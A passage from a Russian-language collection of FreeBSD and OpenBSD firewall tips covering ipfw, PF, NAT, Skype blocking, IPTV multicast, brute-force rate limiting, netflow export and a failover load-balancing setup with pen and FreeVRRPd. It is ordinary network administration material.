    остальное, icq, маил агенты и т.п.
    Новая идея основана на отслеживании и блокировке IP, на которые пытается
    соединиться Skype. И так, как я это делал (шлюз работает под управлением
    FreeBSD 8.1):
    
    
    1. Нужен какой ни будь компьютер с Windows и установленным скайпом, желательно последней версии.
    
    2. Отключаем на ПК все программы, которые могли бы обратиться в интернет,
    windows update и всё остальное (что бы эти адреса не попали в дальнейшем в
    список блокируемых).
    
    3. Нужно включить скайп и залогиниться, что бы он взял с сервера базу
    ip-адресов, на которые можно соединяться. После этого выключаем его.
    
    4. На шлюзе настраиваем фаервол, что бы он блокировал весь сетевой трафик ПК с протоколированием:
    
       ipfw add 50 deny log logamount 10000000 all from ip_машины to any
    
    пояснение: все обращение с нашей машины будут сыпаться с запретом в лог, у меня /var/log/all.log.
    
    5. Включаем сбор логов и отсеиваем в отдельный файл:
    
       tail --f /var/log/all.log | grep ipfw: 50 > /usr/skype.ip
    
    6. Включаем Skype на нашем компьютере и пытаемся залогиниться.
    получаем в файле skype.ip примерно следующее:
    
       Jul  9 14:34:10 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 217.114.226.118:37950 in via rl0
       Jul  9 14:34:11 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 87.228.19.207:15134 in via rl0
       Jul  9 14:34:12 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 95.52.139.143:52195 in via rl0
       Jul  9 14:34:12 server kernel: ipfw: 50 Deny UDP 192.168.3.41:40335 95.236.12.233:15842 in via rl0
    
    Это малая часть моего примера из файла. Там больше записей.
    
    7. После того, как скайп сказал, что не может соединиться, выключаем его,
    выключаем сбор логов и удаляем наше блокирующее правило под номером 50.
    
    8. Теперь нам нужно из всей этой каши отобрать IP, на которые обращался скайп и
    заблокировать в фаерволе. Я написал не большой скрипт, создаём файлик и пишем
    туда следующее:
    
       # Очищаем таблицу 1, если таковая существует.
       ipfw table 1 flush 
    
       # Запускаем считывание ip адресов(сортируем и отбираем только уникальные записи, 
       # потому что могут быть повторяющиеся), куда стучался скайп.
       awk '{print ($11)}' /usr/skype.ip | sed 's#:.*##' | sort | uniq |  while read ip; 
    
          # Добавляем поочерёдно извлечённые адреса в таблицу 1.
          do ipfw table 1 add $ip 
       done 
    
    9. Запускаем наш скрипт, если всё сделано верно, то таблица под номером 1
    должна была заполниться адресами. Это можно проверить командой
    
       ipfw table 1 list
    
    10. Всё, у нас есть таблица ip-адресов, куда соединялся скайп, теперь остаётся
    только написать правило:
    
       ipfw add 50 deny all from ip_машины to table\(1\)
    
    11. Включаем скайп на нашей машине и проверяем, что скайп не может залогиниться.
    
    Вот в принципе и всё. Проделав это, удалось заблокировать скайп, без вреда для
    других программ. Да и ещё, нужно настроить сквид, что бы тот блокировал попытку
    соединения вида CONNECT по ip-адресам. Если ваши пользователи знают адрес
    прокси сервера и порт, то они могу указать это в скайпе и тот спокойно будет
    работать через прокси. Как это сделать есть масса статей в интернете.
    
    И ещё нужно не забывать, что скайп может соединиться с сервером через другой
    компьютер, на котором запущен скайп и есть доступ в интернет. Они называются
    супернодами. Но у меня это не вышло, я запустил скайп на своём компьютере,
    залогинился и закрыл доступ другому, тот второй не смог соединиться.
    
    Есть много способов вычислить адреса на которые стучится скайп. Мой пример -
    это один из вариантов и он проверен. Как часто обновляется база ip адресов я не
    знаю, но если эту операцию проделывать несколько раз в неделю, мне кажется
    можно поддерживать базу ip адресов в актуальном состоянии.
    
     
    ----* Проброс IPTV-трафика в локальную сеть при помощи OpenBSD и пакетного фильтра PF (доп. ссылка 1)   [комментарии]
     
    Возникла необходимость обеспечения возможности просмотра IPTV сразу на
    нескольких устройствах в домашней сети. Реализации данной схемы мешало то, что
    полученный от провайдера модем имел два раздельных порта для данных и для IPTV.
    Простейшим решением было бы закорачивание IPTV-порта в домашний коммутатор, но
    такая схема  нарушает принципы построения безопасных систем и сулит появление
    паразитного трафика. В связи с этим было решено организовать перенаправление
    IPTV-трафика через локальный шлюз, на котором используется пакетный фильтр PF и IGMP-прокси.
    
    1. Включаем поддержку переброса между сетевыми интерфейсами мультикаст трафика, для OpenBSD:
    
       echo "multicast_router=YES" >> /etc/rc.conf.local
    
    перезагружаем систему.
    
    Активируем перенаправление мультисаст трафика:
    
       sysctl net.inet.ip.mforwarding=1
    
    в /etc/sysctl.conf сохраняем настройку "net.inet.ip.mforwarding=1".
    
    2. Устанавливаем пакет net/igmpproxy с реализацией igmp-прокси:
    
       pkg_add igmpproxy
    
    Отображаем свои сетевые настройки в файле конфигурации /etc/igmpproxy.conf:
    
       quickleave
       altnet 0.0.0.0/0    # принимаем igmp-трафик из всех подсетей
       phyint vr2 upstream  ratelimit 0  threshold 1
       phyint vr0 downstream ratelimit 0  threshold 1
       phyint pppoe0 disabled
    
    Добавляем запуск igmpproxy в /etc/rc.local, чтобы прокси запустился после перезагрузки.
    
    3. Настраиваем параметры внешнего сетевого интерфейса, через который приходит
    IPTV-поток. Для работы  igmpproxy на интерфейсе должен быть IP-адрес, для
    получения которого обычно можно использовать DHCP или назначить вручную (бывают
    случаи привязки IP к MAC-адресу телеприставки, что потребует подмены MAC-адреса
    на сетевом интерфейсе шлюза).
    
    4. Настраиваем правила для прохождения IGMP-трафика и multicast-потока в
    пакетном фильтре PF (в нашем случае - это UDP трафик на 5002 порт).  Основной
    проблемой, возникающей в процессе настройки, является то, что в IGMP пакетах
    используется опция протокола IP "Router Alert", которая по умолчанию вычищается
    из пакетов при использовании PF (для отключения чистки расширенных опций
    необходимо использовать параметр allow-opts). В pf.conf добавляем примерно следующее:
    
       LAN  = "vr0"
       IPTV = "vr2"
    
       block on $IPTV
       pass in on $IPTV inet proto udp from any to any port 5002
       pass on {$LAN, $IPTV} proto igmp allow-opts
    
     
    ----* Трансляция PPTP (GRE) на шлюзе с PF (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    Как известно, межсетевой экран PF, портированный в FreeBSD из OpenBSD, не может
    корректно транслировать (NAT) GRE-протокол и, к примеру, из локальной сети
    невозможно создать несколько одновременных соединений к внешнему серверу VPN PPTP.
    
    Одним из способов решения проблемы является трансляция PPTP-соединений родным
    IPFW с "ядерным" NAT. При этом вовсе необязательно компилировать ядро. Все
    описанные действия проверены в FreeBSD версии 7.2. Но должно работать и в
    других версиях, где есть поддержка "ядерного" NAT для IPFW.
    
    В /etc/rc.conf добавляем
    
       #Включаем IPFW
       firewall_enable="YES"
       # Подгружаем модуль ядра ipfw_nat
       firewall_nat_enable="YES"
       # Указываем путь к скрипту загрузки правил
       firewall_script="/etc/ipfw.script"
    
    Создаем файл /etc/ipfw.script
    
       #!/bin/sh
       
       /sbin/ipfw -q /dev/stdin <<RULES
       flush
       #em0 - внешний интерфейс шлюза
       nat 10 config if em0
       #Правила для трансляции PPTP-соединения
       add 10 nat 10 gre from any to any
       add 11 nat 10 tcp from any to any dst-port pptp
       add 12 nat 10 tcp from any pptp to any
       # Разрешаем весь трафик
       add allow all from any to any
      
       RULES
    
    Делаем скрипт исполняемым
    
       # chmod +x /etc/ipfw.script
    
    Добавляем в правила PF
    
       # Запрещаем PF транслировать PPTP-соединения
       no nat on $external_if proto gre all
       no nat on $external_if proto tcp from any to any port = pptp
       no nat on $external_if proto tcp from any port = pptp to any
       ... skip ...
       
       # Пропускаем PPTP-соединения
       pass quick on $external_if inet proto tcp from any to any port 1723
       pass quick on $external_if inet proto tcp from any port 1723 to any
       pass quick on $external_if inet proto gre from any to any
    
    После всех сделанных изменений перезагружаемся.
    
     
    ----* Распределение трафика между двумя каналами во FreeBSD (доп. ссылка 1)   Автор: pehlle  [комментарии]
     
    Во FreeBSD 7 появилась возможность задания множественных таблиц маршрутизаций.
    В ядре отвечает за это опция:
    
        options ROUTETABLES=[количество таблиц]
    
    Распределения трафика будет осуществляться средствами пакетного фильтра ipfw.
    
    Задаем маршруты по умолчанию:
    
        setfib 0 route add default 1.0.1.1 # таблица по умолчанию
        setfib 1 route add default 1.1.1.1 # новая таблица
    
    Файл конфигурации для запуска ipfw:
    
        cmd="/sbin/ipfw"
        $cmd add 10 check-state
        $cmd add 20 prob 0.5 setfib 0 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 30 setfib 1 tcp from 192.168.0.0/16 to not 192.168.0.0/16 setup keep-state
        $cmd add 40 allow all from any to any
    
    Таким образом мы задаем распределение трафика 50/50. Если каналы не равноценные
    то нужно выставить процентную весомость этих каналов.
    
    Трансляция адресов (NAT).
    
    Под эту задачу я выбрал ipnat, реализацию NAT от фаервола ipf.
    
    пример /etc/ipnat.rules:
    
        map vlan0 192.168.0.0/16 -> 1.0.1.1/32
        map tun0 192.168.0.0/16 -> 1.1.1.1/32
    
    Также можно выбрать демон natd или новый, работающий на уровне ядра, NAT,
    который появился во FreeBSD 7.
    
     
    ----* Борьба с перебором паролей на FTP сервере при помощи пакетного фильтра PF (доп. ссылка 1)   [комментарии]
     
    Для предотвращения bruteforce-атак по подбору паролей во FreeBSD или OpenBSD можно использовать 
    возможность пакетного фильтра PF по лимитированию числа соединений за единицу
    времени в сочетании с блокировкой по таблицам.
    
    Добавляем в /etc/pf.conf
    
       # Подключаем ранее составленный список заблокированных за излишнее число коннектов IP
       table <ftp-attacks> persist file "/etc/pf.ftp.block.list"
     
       # Блокируем все входящие соединения с IP, которые присутствуют в черном списке
       block in quick on $ext_if from <ftp-attacks>
     
       # Выявляем IP с которых было более 5 обращений за 40 секунд 
       # и добавляем этот IP в ранее созданную таблицу блокировки
       pass in quick on $ext_if inet proto tcp from any to ($ext_if) port 21 keep state (max-src-conn-rate 5/40, overload <ftp-attacks> flush global)
    
    Перечитываем конфигурацию PF:
       /etc/rc.d/pf reload
    или
       /sbin/pfctl -f /etc/pf.conf 
    
    Далее, чтобы сохранить созданную таблицу блокировки между перезагрузками, необходимо добавить
    в /etc/rc.shutdown код для сброса в файл состояния таблицы перед завершением работы:
       /sbin/pfctl -t ftp-attacks -T show > /etc/pf.ftp.block.list
    
    Для удаления определенного IP (например, 192.168.1.1) из таблицы:
       /sbin/pfctl -t ftp-attacks -T delete 192.168.1.1
    
    Для добавления IP или подсети вручную:
       /sbin/pfctl -t ftp-attacks -T add 192.168.1.1
       /sbin/pfctl -t ftp-attacks -T add 192.168.1.0/24
    
    Для полной очистки таблицы
       /sbin/pfctl -t ftp-attacks -T flush 
    
    Для загрузки таблицы из файла:
       /sbin/pfctl -t ftp-attacks -T replace -f /etc/pf.ftp.block.list
    
    Для поиска IP в таблице 
       /sbin/pfctl -t ftp-attacks -T test 192.168.1.1
    
    Для вывода более подробной статистики по каждому из IP в таблице:
       /sbin/pfctl -t ftp-attacks -T show -v
    
    Для очистки счетчиков срабатываний:
       /sbin/pfctl -t ftp-attacks -T zero
    
     
    ----* Проброс сети во FreeBSD Jail через NAT и PF (доп. ссылка 1)   [комментарии]
     
    Сервер работает под управлением FreeBSD 7 и имеет два сетевых интерфейса: 
    один для интранет сети, другой для связи с внешними миром.
    
    Задача: обеспечить доступность изолированного Jail для обоих сетей, несмотря на ограничение jail 
    по поддержке только одного интерфейса и одного IP.
    
    Решение: через NAT организовать отправку всех запросов к адресам интранет сети 10.0.0.0/8.
    
    В /etc/pf.conf на сервере прописываем:
    
       an_if="em0" # интерфейс интранет подсети
       lan_if_subnet="10.0.0.0/8"
       lan_if_ip="10.28.11.10" # IP на интранет интерфейсе em0
       jail_vps_server_ip="202.54.2.3" # Реальный IP, выделенный для Jail
       nat on $lan_if inet proto { tcp, udp, icmp } from $jail_vps_server_ip to $lan_if_subnet -> $lan_if_ip
    
    Перезапускаем PF через /etc/rc.d/pf reload
    
     
    ----* Трансляция адресов во FreeBSD средствами ng_nat (доп. ссылка 1)   Автор: Folio  [комментарии]
     
    Для работы этого примера необходимо иметь подгруженный ng_ipfw.ko
    
    Убедиться в его наличии можно командой:
    
       /sbin/kldstat| grep ng_ipfw.ko
    
    Если ng_ipfw.ko не загружен, то загружаем его:
    
       /sbin/kldload /boot/kernel/ng_ipfw.ko
    
    После того как ng_ipfw.ko подгружен, в выводе команды:
    
       /usr/sbin/ngctl list
    
    появится строчка вида:
    
       Name: ipfw Type: ipfw ID: 00000023 Num hooks: 2
    
    Без загруженного ng_ipfw.ko при попытке выполнить команды ngctl'а вы будете получать сообщение:
    
       ngctl: send msg: No such file or directory
    
    а при попытке добавить правило в ipfw получите:
    
       ipfw: getsockopt(IP_FW_ADD): Invalid argument
    
    Настройка ng_nat проста и сводится к скрипту:
    
    Для примера будем NAT'ить подсеть 172.16.5.96/27 через IP-адрес 192.168.20.8 на
    внешнем интерфейсе fxp0.
    
       #!/usr/bin/perl
    
       $ip='192.168.20.8';
       $iface='fxp0';
       $net='172.16.5.96/27';
       $cmd=sprintf("/usr/sbin/ngctl -f - << -EOF
       mkpeer ipfw: nat 60 out
       name ipfw:60 nat
       connect ipfw: nat: 61 in
       msg nat: setaliasaddr %s
       ",$ip);
       system($cmd);
    
       ###добавляем необходимые правила в firewall
       $cmd=sprintf("/sbin/ipfw add 1000 netgraph 61 all from any to %s via %s in",$ip,$iface);
       system($cmd);
       $cmd=sprintf("/sbin/ipfw add 1010 netgraph 60 all from %s to any via %s out",$net,$iface);
       system($cmd);
    
    где:
    
    $ip - IP адрес, через который будет работать нат (который смотрит в интернет)
    $iface - ваш внешний интерфейс
    $net - IP подсеть, которую мы собираемся NAT'ить
    netgraph - правило в firewall, аналогично divert, только перенаправляет трафик не в socket, 
    а в ноду netgraph, 60, 61 - адреса исходящего и входящего хуков.
    
    Если делать руками в консоли, то команды выглядят следующим образом:
    
       ###создаем ноду nat и подключаем к ipfw
       /usr/sbin/ngctl mkpeer ipfw: nat 60 out 
       ###даем ноде имя "natA" 
       /usr/sbin/ngctl name ipfw:60 natA   
       ###соединяем входящие и исходящие хуки  для "natA"
       /usr/sbin/ngctl connect ipfw: natA: 61 in 
       ###посылаем управляющее сообщение в виде IP адреса, через который будет работать нат.   
       /usr/sbin/ngctl msg natA: setaliasaddr 192.168.20.8   
    
    Если все работает, то мы можем посмотреть вывод следующей команды:
    
       ngctl show natA:
    
    Также можно посмотреть все целиком:
    
       ngctl list
    
    Для выключения настроенного NAT нужно выполнить команду:
    
       ngctl shutdown natA:
    
    Заметка:
    
    Если вы хотите запустить NAT на нескольких внешних IP-адресах, но не забывайте изменять имена нод 
    (в примере natA) и номера хуков (в примере 60,61) т.к. они должны быть
    уникальны для каждого из процессов.
    
    Не путайте in и out в создаваемой ноде и правилах ipfw.
    
    Чтиво:
    
    man 8 ipfw
    Все о Netgraph (http://citrin.ru/netgraph/)
    man 4 netgraph
    man 4 ng_ipfw
    
     
    ----* Интернет-шлюз с использованием PF   Автор: vitalic  [комментарии]
     
    O пакетном фильтре (PF) написано довольно много статей. Вот и я хочу предложить
    свою реализацию Интернет-шлюза с
    использованием  PF. Раздача Интернета для локальной сети происходит через NAT и
    основана на Packet Tagging. Плюсом этого
    метода является то что упрощается настройка правил для FTP (ftp-proxy не
    используется), как для клиентов за шлюзом, так и для
    возможной публикации "внутреннего" ftp-сервера в мир.
    
    Для простоты приведу пример с 1 внешним и 1 внутренним интерфейсом. На шлюзе
    также запущен DNS-сервер. Пользователям
    локальной сети разрешен доступ на все порты без исключений по протоколам TCP,
    UDP, из ICMP разрешен только ping. В качестве
    ОС выступает FreeBSD7.0
    
    Для начала определим интерфейсы с помощью макросов
    
       ext_if="rl0"
       int_if="sk1"
    
       dns="ААА.ААА.ААА.ААА"
       lan="192.168.1.0/24"
    
       table <no_if> {BBB.BBB.BBB.BBB, 192.168.1.1, 127.0.0.1} persist
    
       set skip on lo
       set loginterface rl0
       set ruleset-optimization basic
       set block-policy return
       scrub in all no-df random-id
    
       ##### INET FOR LAN
    
       nat on $ext_if tag LAN_INET_NAT_TCP_UDP tagged LAN_INET_TCP_UDP -> $ext_if:0
       nat on $ext_if tag LAN_INET_NAT_ICMP tagged LAN_INET_ICMP -> $ext_if:0
    
       ######
    
       block in
       block out
       antispoof quick for { lo $int_if }
    
       ##############       EXT_IF_OUT
    
       pass out quick on $ext_if inet tagged LAN_INET_NAT_TCP_UDP
       pass out quick on $ext_if inet tagged LAN_INET_NAT_ICMP
       
       pass out quick on $ext_if inet proto {tcp udp} from $ext_if to $dns port = dns
    
       pass out quick on $ext_if inet proto icmp from $ext_if to any icmp-type echoreq
    
       ##############         EXT_IF_IN
    
       pass in quick on $ext_if inet proto tcp from any to $ext_if port = ssh synproxy state (max 10)
       pass in quick on $ext_if inet proto icmp from any to $ext_if icmp-type echoreq
    
       ##############   INT_IF_IN
    
       pass in quick on $int_if inet proto {tcp udp} from $lan to !<no_if> tag LAN_INET_TCP_UDP
       pass in quick on $int_if inet from $lan to $int_if
    
       pass in quick on $int_if inet proto icmp from $lan to !<no_if>  icmp-type echoreq tag LAN_INET_ICMP
       pass in quick on $int_if inet proto icmp from $lan to $int_if icmp-type echoreq
    
    
    
    Пояснения.
    
    Пришедшие на внутр. интерфейс пакеты "метятся". Метятся только те пакеты, у
    которых dst addr любой, кроме всех внутренних и
    внешних интерфейсов. Это необходимо, если есть несколько подсетей и вы не
    хотите, что бы кто-либо из одной сети мог
    подключится к висящему сервису на другом интерфейсе.
    
    Впринципе здесь можно  вместо  !<no_if> указать any.
    Весь исходящий трафик с сервера в "мир" (кроме ДНС) и локальную сеть блокируется.
    
    ААА.ААА.ААА.ААА - IP DNS-сервера провайдера.
    
     
    ----* Экспорт Netflow средствами netgraph во FreeBSD   Автор: VS  [комментарии]
     
    При сборке ядра указываем:
    
       options		IPFIREWALL
       options		NETGRAPH
       options		NETGRAPH_SOCKET
       options		NETGRAPH_IPFW
       options		NETGRAPH_NETFLOW
       options		NETGRAPH_KSOCKET
    
    либо подгружаем модули:
    
       kldload ipfw.ko
       kldload netgraph
       kldload ng_socket
       kldload ng_ipfw
       kldload ng_netflow
       kldload ng_ksocket
    
    
    для их автозагрузки в /boot/loader.conf добавляем: 
    
       ipfw_load="YES"
       ng_netflow_load="YES"
       ng_socket_load="YES"
       ng_ksocket_load="YES"
       ng_ipfw_load="YES"
    
    
    в ipfw правила
    
       ipfw add 02210 netgraph 100 ip from any to any via vlan108
       ipfw add 02220 netgraph 100 ip from any to any via vlan208
    
    Скрипт, для поднятия netflow:
    
    #!/bin/sh
    . /etc/rc.subr
     
    name="ngnetflow"
    rcvar=`set_rcvar`
    
    load_rc_config $name
    : ${ngnetflow_enable="NO"}
    : ${ngnetflow_src="127.0.0.1:9999"}
    : ${ngnetflow_dst="127.0.0.1:9996"}
    
    start_cmd="ngnetflow_start"
    stop_cmd="ngnetflow_stop"
    
    ngnetflow_start() {
    
    /usr/sbin/ngctl -f- <<-SEQ
    mkpeer ipfw: netflow 100 iface0
    name ipfw:100 netflow
    connect ipfw: netflow: 108 out0
    msg netflow: setdlt { iface=0 dlt=12 }
    msg netflow: settimeouts { inactive=30 active=600 }
    mkpeer netflow: ksocket export inet/dgram/udp
    name netflow:export flowexp
    msg flowexp: bind inet/${ngnetflow_src}
    msg flowexp: connect inet/${ngnetflow_dst}
    SEQ
    
    }
    
    ngnetflow_stop() {
    /usr/sbin/ngctl -f- <<-SEQ
    shutdown netflow:
    SEQ
    }
    
    run_rc_command "$1"
    
     
    ----* Как сделать отказоустойчивый брандмауэр с распределением нагрузки на FreeBSD (доп. ссылка 1)   Автор: Сгибнев Михаил  [комментарии]
     
    Задача: 
    
    Сконфигурировать два или более отказоустойчивых брандмауэра на базе IPF с
    функцией балансировки нагрузки
    (далее - "FWLB") для кластера, предоставляющего сервис в сети Интернет.
    Если один из брандмауэров приходит в негодность, то его функции будет выполнять второй. 
    В этом случае мы получим высокодоступную систему с черезвычайно малым временем простоя и, 
    как мы надеемся, сэкономит немало средств на специализированных устройствах.
    	  
    Наша задача - получить нижепреведенную конфигурацию:
    
    
                             ~~~
                           ( net )
                             ~~~
                              |
                              |
                              |
                          ----------
                         |  switch  |
                          ---------- 
                          /        \
                         /   VIP    \
                 ---------         --------
                |  fwlb1  |       | fwlb2  |
                 ---------         --------
                        \    VIP   /
                         \        /
                          ---------
                         | switch |
                          ---------
                          /      \ 
                         /        \
                  ---------        ---------
                 | server1 |      | server2 |
                  ---------        ---------
    
                   
    Где первый VIP (Virtual IP) это публичный IP адресс вашего сайта, 
    а второй - приватный IP согласно RFC 1918, который будет использоваться 
    серверами в качестве шлюза по умолчанию.
    
    
    Требования:
    
    - Два сервера с FreeBSD-STABLE. У каждого из них - по 2 сетевые карты
    - Два коммутатора/хаба
    - Два или более серверов для кластера, на котором запущен предоставляемый сервис
    - /usr/ports/net/pen
    - /usr/ports/net/freevrrpd
    - /usr/ports/sysutils/daemontools или /usr/ports/sysutils/runit
    - Ядро, скомпилированное с опциями IPFILTER и IPFILTER_LOG
    
    
    Pen является простым, но гибким балансировщиком.
    FreeVRRPd будет обеспечивать отказоустойчивость. 
    Daemontools(или runit, с более дружественной лицензией и похожим функционалом)
    не является необходимым,
    но весьма полезен для контроля и управления процессами, поэтому тоже рекомендован к использованию.
    	
    Выполнение:
    
    Часть 1: Брандмауэр
    
    Создайте набор правил IPF(или IPFW, или PF), разрешающий трафик на стороне сервиса, 
    который нуждается в балансировке. По желанию, разрешите доступ к кластеру серверов через NAT, 
    если есть необходимость в исходящих соединениях.  Конфигурирование IPF/IPNAT не
    рассматривается в данной статье,
    но на эту тему написано достаточно много. Два пункта, которые очень важно иметь в виду, 
    заключаются в том, что вам необходимо удостовериться, что разрешен multicast между брандмауэрами 
    (необходимо для работы VRRP) и запрещен для всех других хостов (иначе возникнет
    угроза безопасности).
    Для получения ополнительной информации по IPF, обратитесь к:
                   
     http://www.nwo.net/ipf/ipf-howto.html
     http://coombs.anu.edu.au/~avalon/ip-filter.html   
            
    Скомпилировав ядро с опциями, указанными выше, вносим следующие изменения в /etc/rc.conf:
                
                    ipfilter_enable="YES"
                    ipfilter_rules="/etc/ipf.conf"
                    ipnat_rules="/etc/ipnat.conf" 
                    ipnat_flags="-CF"
                    ipmon_enable="YES"
    
    И переносим набор правил в указанные места.
    
    
    
    Часть 2: Балансировщик
    
    1) Создаем необходимых пользователей и каталоги.
    
            mkdir -p /etc/supervise/pen/log
            mkdir -p /var/chroot/pen
            mkdir -p /var/log/pen
            pw useradd pen -s /bin/false -d /var/chroot/pen
            pw useradd penlog -s /bin/false -d /var/chroot/pen
            chown penlog:pen /var/log/pen
    
    2) Создаем файлы, необходимые для запуска pen.
    
            cd /etc/supervise/pen
            cat << _EOF_ > run
            #!/bin/sh
    
            exec 2>&1
            exec pen -d -u pen -j /var/chroot/pen -C localhost:8888 -f -r 80 hostname1 hostname2
    
            _EOF_
            chmod 755 run
            cd log
            
            cat << _EOF_ > run
            #!/bin/sh
            
            exec /usr/local/bin/setuidgid penlog /usr/local/bin/multilog s999999 n20 /var/log/pen
    
            _EOF_
            chmod 755 run
    
    
    Так мы сконфигурируем pen для запуска в pen в /var/chroot/pen и портом управления 8888. 
    Он будет балансировать входящий 80 порт на порт 80 hostname1 на hostname2. 
    Тип балансировки - round-robin - если необходимы постоянные сессии, удалите флаг "-r".
    В этом примере pen запущен в режиме отладки, что упростит настройку. 
    При промышленном использовании можно удалить флаг "-d". 
          
    3) Запуск балансировщика нагрузки.
    
            cd /service
            ln -s /etc/supervise/pen
            echo "csh -cf '/usr/local/bin/svscanboot &'" >> /etc/rc.local
            csh -cf '/usr/local/bin/svscanboot &'
            sleep 5 && svstat pen
    
    Теперь вы с помощью браузера можете удостовериться, что балансировка работает.
    
    Так же изучите /var/log/pen/current на обоих брандмауэрах.
    
    
    
    Часть 3: Отказоустойчивость
    
    1) Сперва сконфигурируйте syslog для сбора сообщений VRRP.
    
            touch /var/log/freevrrpd.log
            cat << _EOF_ >> /etc/syslog.conf
    
            !freevrrpd
            *.*                     /var/log/freevrrpd.log
    
            _EOF_
    
    
    2) Конфигурирование FreeVRRPd
           
    До этого пункта, обе машины были равноправны.    Теперь вам необходимо выбрать,
    какой FWLB будет primary.
    На этой машине скопируйте /usr/local/etc/freevrrpd.conf.sample в /usr/local/etc/freevrrpd.conf. 
    
    Отредактируйте файл, как показано ниже:
    
            # public-facing VRID
            [VRID]
            serverid = 1
            interface = fxp0
            priority = 255
            addr = 198.123.111.1/32
            password = vrid1
            vridsdep = 2
    
            # backend VRID
            [VRID]
            serverid = 2
            interface = fxp1
            priority = 255
            addr = 10.0.0.1/32
            password = vrid2
            vridsdep = 1
    
    В результате мы получим 2 VRID - один для внешней сети, второй для внутренней, 
    который будет использоваться кластером серверов.
    В этом примере оба VRIDs сконфигурированы, чтобы считать этот хост главным при выборах VRRP.
                   
    Заметьте - оба VRID зависят друг от друга, что определено полем "vridsdep". 
    Это означает, что, если один из интерфейсов в FWLB падает, другой автоматически
    перейдет в резервный режим,
    переводя оба интерфейса на резервный FWLB. 
    
    Это позволит избежать попыток отправить данные через брандмауэр с упавшим внешним интерфейсом.
    
    Теперь вы должны скопировать этот файл на slave FWLB, и изменить оба поля
    priority на значение 100.
    Измените пароль на что-то более безопасное, чем на примере, но особо не
    расчитывайте на пароли VRRP
    в плане безопасности. Если другой брандмауэр, находящийся вне связки сможет
    общаться с вашими по VRRP,
    то у вас будут проблемы.
      
    3) Запуск FreeVRRPd
    
    Теперь вы можете запустить freevrrpd на обоих брандмуэрах:
    
            cp /usr/local/etc/rc.d/freevrrpd.sh{.sample,}
            /usr/local/etc/rc.d/freevrrpd.sh start
    
    
    Часть 4: Проверка отказоустойчивости
    
    Теперь нам необходимо проверить получившуюся систему на отказоустойчивость. 
    Сперва только надо запустить на обоих FWLB SSH, чтобы была возможность 
    проверять правильность переключения интерфейсов. Попробуйте следующие сценарии:
    
      - С одной из машин кластера залогиньтесь по SSH на 10.0.0.1(внутренний интерфейс). 
        Убедитесь, что это именно master FWLB.
      - Сделайте попытку соединения на 198.123.111.1(внешний интерфейс), порт 80 и 
        посмотрите /var/log/pen/current, чтобы проверить факт соединения. 
      - Отключить внешний интерфейс FWLB1.
      - Проверьте логи на FWLB2.  Сделайте попытку соединения на 198.123.111.1, 
        порт 80, чтобы проверить факт соединения.
      - Зайдите по SSH на 10.0.0.1.  Вы должны увидеть FWLB2 в баннере SSH.
      - Подключите внешний интерфейс к FWLB1.  Проверьте, что оба интерфейса FWLB1 вернулись в состояние master.
    
    Теперь повторите тест, отключая внутренний интерфейс. Если есть такое желание, 
    то можно просто нажать Reset на FWLB1.
           
    Примечания:
    
    Удаление серверов из пула:
    
    Pen не может перманентно удалить сервера из пула, но мы можем указать ему игнорировать сервер, 
    пока, например, идет его обновление или что-то подобное. Для этого выполните команду:
    
       penctl localhost:8888 server $servername blacklist 99999
    
    Это поместит сервер в черный список на 99999 секунд. Для возвращения сервера в
    пул выполните команду:
    
       penctl localhost:8888 server $servername blacklist 1
    
    Так мы выставим таймаут черного списка в 1 секунду, после чего сервер вернется в пул.
    
    Перманентное удаление или добавление серверов в пул:
    
    В случае, если есть необходимость добавить или удалить из пула несколько серверов, 
    нужно отредактировать файл /service/pen/run. Просто добавьте имена хостов в
    конец команды запуска pen и выполните:
    
       svc -t /service/pen
    
    Эта команда пошлет сигнал TERM и перезапустит pen. Хотя эта операция и не
    должна сказаться на доступности сервиса,
    лучше такие вещи делать в специально определенное время. 
    
    Ссылки:
    
     http://www.faqs.org/rfcs/rfc2338.html
     http://www.bsdshell.net/hut_fvrrpd.html
     http://siag.nu/pen/
     http://cr.yp.to/daemontools.html
     http://smarden.org/runit
    
    
    © 2004 David Thiel --- lx [@ at @] redundancy.redundancy.org
    
     
    ----* Использование таблиц для блокирования большого числа IP в pf или ipfw (доп. ссылка 1)   [комментарии]
     
    Список IP адресов или подсетей находится в файле /etc/block1.txt
    Например:
      10.10.1.1
      10.10.1.2
      192.168.0.0/16
    
    
    IPFW
    ----
    
    Блок чтения IP в таблицу, проверка в которой будет осуществляться 
    не через последовательный перебор правил, а через выборки из хэша:
     
       ipfw table 1 flush
       cat /etc/block1.txt | while read ip; do
          # echo ipfw table 1 add $ip 1
          ipfw table 1 add $ip 1
       done
    
    Привязка таблицы к правилу блокировки:
       ipfw add 100 deny ip from "table(1)" to any via em1
    
    Просмотр содержимого таблицы:
       ipfw table 1 list
    
    PF
    --
    
    /etc/pf.conf
    
       table <blockedips> persist file "/etc/block1.txt"
       ext_if="em1" 
       block drop in log (all) quick on $ext_if from <blockedips> to any
    
    Проверка корректности правил PF:
       pfctl -nf /etc/pf.conf
    
    Чтение правил PF:
       pfctl -f /etc/pf.conf
    
    Добавление и удаление адресов из таблицы на лету:
       pfctl -t blockedips -T add 192.168.1.1
       pfctl -t blockedips -T delete 192.168.1.1
    
    Просмотр содержимого таблицы и более подробной статистики по каждому адресу:
       pfctl -t blockedips -T show
       pfctl -t blockedips -T show -v
    
    Просмотр лога срабатываний блокировок, умолчанию сохраняемого в /var/log/pflog:
       tcpdump -n -e -ttt -r /var/log/pflog
       tcpdump -n -e -ttt -r /var/log/pflog port 80
       tcpdump -n -e -ttt -r /var/log/pflog and host 192.168.1.1
    
    Срабатывание блокировок в режиме реального времени:
       tcpdump -n -e -ttt -i pflog0
       tcpdump -n -e -ttt -i pflog0 port 80
       tcpdump -n -e -ttt -i pflog0 host 192.168.1.1
    
     
    ----* ipfw nat во FreeBSD 7   Автор: Pikador  [комментарии]
     
    В конфигурацию ядра добавляем:
    
       options         IPFIREWALL              #firewall
       options         IPFIREWALL_VERBOSE      #enable logging to syslogd(8)
       options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
       options         IPDIVERT
       options         IPFIREWALL_FORWARD
       options         DUMMYNET
       options         IPFIREWALL_NAT          #ipfw kernel nat support
       options         LIBALIAS
    
    в /etc/make.conf:
    
